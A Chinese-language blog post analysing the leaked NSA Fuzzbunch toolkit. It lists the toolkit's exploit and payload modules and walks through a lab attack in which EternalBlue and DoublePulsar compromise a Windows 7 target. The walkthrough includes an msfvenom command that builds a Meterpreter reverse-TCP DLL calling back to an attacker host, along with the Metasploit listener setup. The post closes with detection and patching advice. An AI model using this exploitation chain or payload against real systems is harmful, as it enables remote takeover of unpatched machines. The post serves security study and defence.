首页 > 代码库 > NSA Fuzzbunch分析与利用案例

NSA Fuzzbunch分析与利用案例


 

Shadow Brokers泄露出一份震惊世界的机密文档,其中包含了多个 Windows 远程漏洞利用工具。本文主要介绍了其中一款工具Fuzzbunch的分析与利用案例


 

1 整体目录介绍

解压EQGRP_Lost_in_Translation-master.zip文件(下载地址:https://github.com/x0rz/EQGRP_Lost_in_Translation)。总共包含三个目录:

1. windows目录针对Windows操作系统的利用工具和相关攻击代码;

2. swift目录中是包含入侵swift银行系统的操作记录等相关证据;

3. oddjob目录是后门Rootkit等相关文档;

技术分享

 

1.1 框架介绍

我们主要分析下windows这个目录。windows 目录下存在两个入口点,包含两部分工具:

1. fb.py

2. start_lp.py

技术分享

1.2 FB模块介绍

fuzzbunch功能类似于metasploit,功能较为自动化。fuzzbunch下载地址https://github.com/fuzzbunch/fuzzbunch。fb.py 即 fuzzbunch 框架的入口文件,fb.py用于调用各个攻击模块,这些攻击模块有较多专注于 Windows 的SMB 服务(详见下文)。fuzzbunch 支持自动调用 script 或手动配置模块,模块的使用趋于自动化,模块之间也会自动调用,用于信息探测等,模块也可以通过xml 文件的修改自行定义参数,常见的配置文件方式以xx.xml以及xx.fb文件存在。

技术分享

技术分享

技术分享

fuzzbunch框架除了命令解析,日志,IO等常规功能外,fuzzbunch使用的xml配置文件十分详细,可以配置payload的各个部分。Fuzzbunch会帮助各个需要调用的PE文件生成xml文件,加载并执行二进制文件,这些二进制文件依赖lib目录下的dll文件,其中EXAM 在fuzzbunch 代码中全称为EXPLOITMANAGER,拥有跨平台能力。

技术分享

技术分享

技术分享

技术分享

1.3 start模块介绍

start_lp.py 会启动一个由 java 编写的 GUI 工具,即 start.jar。包含多个模块,其中的pyo文件可以使用uncompyle6还原源代码。如下图:

技术分享

技术分享

技术分享

技术分享

技术分享技术分享

2 fuzzbunch的插件列表和影响的服务与版本

2.1 ImplantConfig 植入工具模块

  • Darkpulsar 1.1.0 操控NTLM或 加载shellcode

  • Mofconfig 1.0.0

     

2.2 ListeningPost

  • 内容未公开

     

2.3.Exploit 漏洞利用模块

  • Easybee 1.0.1Mdaemon漏洞

  • Easypi 3.1.0 IBM Lotus漏洞

  • Eclipsedwing 1.5.2MS08–067

  • Educatedscholar 1.0.0MS09–050

  • Emeraldthread 3.0.0MS10–061

  • Emphasismine 3.4.0IBM Lotus Domino漏洞

  • Englishmansdentist 1.2.0OUTLOOK EXCHANGE漏洞

  • Erraticgopher 1.0.1SMB漏洞

  • Eskimoroll 1.1.1MS14–068

  • Esteemaudit 2.1.0RDP漏洞

  • Eternalromance 1.4.0SMBv1 漏洞

  • Eternalsynergy 1.0.1SMB漏洞

  • Ewokfrenzy 2.0.0Domino漏洞

  • Explodingcan 2.0.2IIS漏洞利用工具

  • Zippybeer 1.0.2 域控漏洞

     

2.4 Touch 信息探测、漏洞测试模块

  • Architouch 1.0.0

  • Domaintouch 1.1.1

  • Eclipsedwingtouch 1.0.4

  • Educatedscholartouch 1.0.0

  • Emeraldthreadtouch 1.0.0

  • Erraticgophertouch 1.0.1

  • Esteemaudittouch 2.1.0

  • Explodingcantouch 1.2.1

  • Iistouch 1.2.2

  • Namedpipetouch 2.0.0

  • Printjobdelete 1.0.0

  • Printjoblist 1.0.0

  • Rpctouch 2.1.0

  • Smbtouch 1.1.1

  • Webadmintouch 1.0.1

  • Worldclienttouch 1.0.1

     

2.5 Payload Payload模块

  • Doublepulsar 1.3.1支持 DLL 后门 和 shellcode

  • Jobadd 1.1.1

  • Jobdelete 1.1.1

  • Joblist 1.1.1

  • Pcdlllauncher 2.3.1

  • Processlist 1.1.1

  • Regdelete 1.1.1

  • Regenum 1.1.1

  • Regread 1.1.1

  • Regwrite 1.1.1

  • Rpcproxy 1.0.1

  • Smbdelete 1.1.1

  • Smblist 1.1.1

  • Smbread 1.1.1

  • Smbwrite 1.1.1

2.6 Special 专用模块

  • Eternalblue 2.2.0 SMB漏洞 MS17–010

  • Eternalchampion 2.0.0SMB漏洞 造成信息泄露 CVE-2017–0146CVE-2017–0147

检测与建议

  • 通过自检,可以自行判断服务器中是否存在doublepulsar后门,Github上开放了检测工具:detect_doublepulsar

  • ms17-017 检查 ,可通过metasploit代码:smb_ms17_010.rb

  • Microsoft的影响评价:Protecting customers and evaluating risk

  • ms17-101 影响与升级公告:Microsoft SecurityBulletin MS17-010 - Critical

  • 技术分享

3 fuzzbunch实验环境介绍

3.1 靶机环境介绍:

1. Fuzzbunch运行环境,操作系统:Windows 7;技术分享

2. 目标靶机,操作系统:Windows7,通过实验,需要配置防火墙开放服务,或者直接关闭防火墙;

技术分享

3.1 控制端系统,操作系统:Kali1.1;

技术分享

3.2 漏洞利用流程,以Eternalblue举例:

1. 使用Python2.6运行fb.py,需要安装pywin32等组件。运行成功会展现以下界面:技术分享

2. 填写默认配置,目标IP地址、CallbackIP、日志地址、项目名称tcc等。如下图:技术分享

3. 运行”?”命令,可以列出帮助手册,如下图,有很多Core Commands:技术分享

4. 键入use命令,可以列出当前可以使用的插件,和MSF风格很类似:技术分享

5. 选择”Eternalblue”,并执行。如下图,fb会自动载入预设配置:技术分享

6. 进行相应配置,包含网络连接超时配置、目标IP、目标端口、是否验证、是否验证后门、最大exploit次数、系统选择等。如下图:

技术分享

7. 模式选择:1>FB。进行配置,在配置完成后,会显示Eternalblue插件的配置详情。如下图:

技术分享

8. 执行Eternalblue,用于验证目标靶机是否存在漏洞。如下图:技术分享

9. 依据Eternalblue插件的运行结果显示,目标主机存在漏洞,(当目标为2018 R2版本需要所需时间较长,中间出现的报错可以无视,会自动修改参数),如下图:技术分享

10. 在验证存在漏洞之后,接下去使用Doublepulsar去利用该漏洞,fb会自动载入一些预设配置。如下图:

技术分享

11. 针对Doublepulsar插件配置项进行配置,依据靶机信息,选择不同的参数,我这里使用的是x86 win7,如下图:

技术分享

12. 这里需要选择后门的类型,我这里选择的是2> RunDLL。如下图:技术分享

13. 接下去需要给出后门dll。可以使用kali中的msfvenon去生成对应后门dll。选择相应的参数、平台、后门类型等,命令:msfvenom -a x86--platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106LPORT=8888 -f dll > tcc.dll。如下图:

技术分享

14. 在kali进行反向TCP监听的配置,如下图:

  • 命令:use exploit/multi/handler,

  • payload:windows/meterpreter/reverse_tcp

技术分享

15. 拷贝kali生成的tcc.dll文件至fb系统中,进行配置,如下图:技术分享

16. 配置注入的dll的程序,我们选择explorer.exe。如下图:技术分享

17. 配置目标地址、目标端口,最后会显示Doublepulsar的配置列表,如下图:技术分享

18. 执行Doublepulsar,观察运行结果。如下图,运行且注入成功:技术分享

19. 切换到kali,查看meterpreter,靶机已经主动连接进入meterpreter控制端。漏洞利用成功,如下图:

技术分享

20. 运行shell,执行whoami指令。如下图:

4 总结

从这次事件中,可以看出NSA下的方程式组织技术能力出众,这次部分0-Day漏洞波及范围甚广,估计方程式组织还会有其它未公布的各种0-Day。就针对目前Fuzzbunch中的漏洞利用工具包含多个0-Day漏洞,建议厂商:

  • 升级系统补丁,确保补丁更新到最新版本。

  • 关闭没有补丁的服务

  • 使用防火墙、或者安全组配置安全策略,屏蔽或添加filter对包括445、3389在内的系统端口访问。

NSA Fuzzbunch分析与利用案例